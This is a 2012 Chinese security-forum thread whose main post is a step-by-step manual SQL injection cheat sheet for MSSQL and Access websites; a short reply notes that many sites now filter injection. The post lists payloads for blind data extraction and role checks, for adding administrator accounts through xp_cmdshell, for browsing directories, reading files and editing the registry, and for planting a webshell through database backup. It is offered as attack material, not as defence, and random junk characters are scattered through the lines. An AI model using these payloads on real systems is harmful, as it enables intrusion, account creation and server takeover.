找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2234|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入   J# V! L  P5 d- f$ |! L& s
1.判断是否有注入;and 1=1 ;and 1=2 0 k! h# M1 u. M! X1 c6 Y
2 M7 E2 I4 t$ B, T9 Q' M( C8 C
2.初步判断是否是mssql ;and user>0 % F- O( Q0 S: `2 J

5 }; K6 D% ?; n) @# A3.注入参数是字符'and [查询条件] and ''=' ) v7 y; ~- z9 E

( n$ U( q2 r/ t4.搜索时没过滤参数的'and [查询条件] and '%25'='
# P9 C/ k, g2 |8 o! A" n
3 @6 {) i# q  v2 p2 N5.判断数据库系统 3 f" p8 `0 w& c7 V& {5 A$ S+ A
;and (select count(*) from sysobjects)>0 mssql 6 p* o& [: {) A9 V  U2 g+ G
;and (select count(*) from msysobjects)>0 access
# l% `* G+ j- r0 S9 O; a! `. m3 D8 S' `8 z" ~  |
6.猜数据库 ;and (select Count(*) from [数据库名])>0
( a" c3 v. \: C$ u4 d2 G. U. t4 |4 \+ w+ h/ _  I6 q6 J
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2 a0 W" g% K" ^1 i) ?
, X$ r2 M1 V& j' L3 f; u3 U
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
4 \/ {* ~* n: w# Q$ @5 m7 h5 ?# [/ A
9.(1)猜字段的ascii值(access) 0 l& C5 A4 ]/ }. w9 a- \
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 # V- h  d9 X5 @8 G2 q" S8 j

( P: r1 P8 O5 y; R8 K(2)猜字段的ascii值(mssql)
9 a; O* T0 C. e& R6 W( {7 E;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 : h: z3 P4 v. ^+ q( Z
; f- E, H5 f' w# K: h% r
10.测试权限结构(mssql) 1 h% ?! J. L& C% X3 n
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ n4 H& k$ s: h;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 E) M$ m/ r0 M  s! P& Y5 l
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ! l5 W" w, {7 l; I7 m
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 ]# W* F# L, \7 R3 J
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' c4 ~% H8 t4 Y5 n- K5 E/ j* `
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
( n* w2 Q+ b' J;and 1=(select IS_MEMBER('db_owner'));--
: {2 O% \; ~) t* X' R& H5 K5 D* M3 }" J3 R  c9 A$ T8 ~
11.添加mssql和系统的帐户
( c8 h  W1 R) b3 R$ Q;exec master.dbo.sp_addlogin username;--
) Y# k3 M- B  `# T7 }
: D) Q/ K0 v( O" m) _;exec master.dbo.sp_password null,username,password;--
/ \8 Y! ]2 o- M9 x% R8 @
  }7 }* z, q4 Y/ X3 d3 T' c;exec master.dbo.sp_addsrvrolemember sysadmin username;--
6 {' d9 C9 S" _$ c( X7 ]' x0 L9 q- v& K; c3 }, O1 _- E
;exec master.dbo.xp_cmdshell 'net user username password 2 j& v, v3 e' D. \
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 B  R/ \; j/ }( ?6 @. \# ]

: j) F! t! D# u2 [;exec master.dbo.xp_cmdshell 'net user username password /add';--
) [! {& r9 u( H  [* t8 G. P
3 s( q3 q2 h4 s; U1 }0 T;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- : P/ O( t. ?8 j' R: H: L
7 w5 Z# G$ B7 D7 {5 E. q
12.(1)遍历目录
0 M1 I9 y$ N2 J$ u/ o
8 f4 B3 O# P! ~, I& F;create table dirs(paths varchar(100), id int)
9 ]/ i6 \# U/ ^% A* u' h;insert dirs exec master.dbo.xp_dirtree 'c:\' & j5 |2 U( C, ?1 u9 {, n# t
;and (select top 1 paths from dirs)>0
; `) }/ p0 O4 W: r* w;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
, \: m) }, C. u  a5 I( @3 m+ n* F- ^. Q
(2)遍历目录 7 H; B% Q9 ^. `4 J1 H, H
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
, `* p- h( V7 H: d8 ?7 y# i;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $ V5 ]9 C$ h2 E9 {# \, E& Y
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 % g  q9 v0 w& K- v! g9 G. I
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6 l8 }$ [" u( E) p+ I
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2 {$ [8 \) i. ~8 a4 b: H" w

6 G* D! M3 C# R9 X' b9 {7 e( e+ p13.mssql中的存储过程   `, ~: u- E% M

, O9 J$ V5 ]- @5 z7 O- h, h5 a( Hxp_regenumvalues 注册表根键, 子键 - w- u- s" T% J" E
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) y- y* f; j1 N
' E  L1 K( m6 o# _# X/ b7 ~9 `% D
xp_regread 根键,子键,键值名
# R: q6 p$ i' M# [( H;exec xp_regread # ^3 I; ?0 }7 h" j: p9 O
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ; A6 [! b' {0 j
* \* h" K8 k* U2 b$ B
xp_regwrite 根键,子键, 值名, 值类型, 值 " R" J) @! k% K2 h5 d
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
- b) L: m: M( E3 H& ]  ]" M;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
, U5 e- G$ u4 \
/ d/ k5 j; _+ J- e6 Qxp_regdeletevalue 根键,子键,值名 - [7 s' }. i1 Q: t4 Z7 E7 {
% |4 r- b% ?# H8 D1 K8 |
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
1 A# o  e# n7 Q; |: n* x* v' w. J" i- q$ U) `
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
# H8 f! X( E! E$ Z4 X
  c" \2 O# [$ a' j# N14.mssql的backup创建webshell
, s( D' o& {2 q9 a& j, M( b  _7 juse model ' W0 [9 K- ]" r1 F1 z5 d8 I
create table cmd(str image);
$ |4 a" y) c; `9 M" M  Finsert into cmd(str) values ('');
2 X) W0 s) r+ @backup database model to disk='c:\l.asp';
5 b5 g5 x/ o. v2 @# O4 C
0 b/ f! {2 {0 G* p- \% N3 k: q6 _4 p( v15.mssql内置函数
+ Q# t, Q0 x3 @* n6 G;and (select @@version)>0 获得Windows的版本号
& F# a% P* q. E1 e  |* R;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5 `% \, w6 X0 G
;and (select user_name())>0 爆当前系统的连接用户
5 y4 m) K* C/ }4 P7 i: }0 r4 o% ^;and (select db_name())>0 得到当前连接的数据库 8 l. d: F  P3 K0 H/ t

( q6 S9 i7 J" g16.简洁的webshell . ~: s0 ~0 b' ?! H% w* O
8 h; G- ]/ l. g1 M. V* L
use model
4 C+ ~, q$ M' }4 A. ]7 v3 t0 _% ]: X  g+ R9 y6 T; u1 N- U3 M
create table cmd(str image); 3 J. {1 q, h" a2 g- Q

' T2 b9 H7 q* O  j7 f* p7 pinsert into cmd(str) values ('');
" q3 I& G4 f. K+ T" ^7 i$ o  X# {
backup database model to disk='g:\wwwtest\l.asp';
% `* D! N3 Q+ _' n4 P. g " T0 O5 U! ?. g9 z& ?) k+ F4 e
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表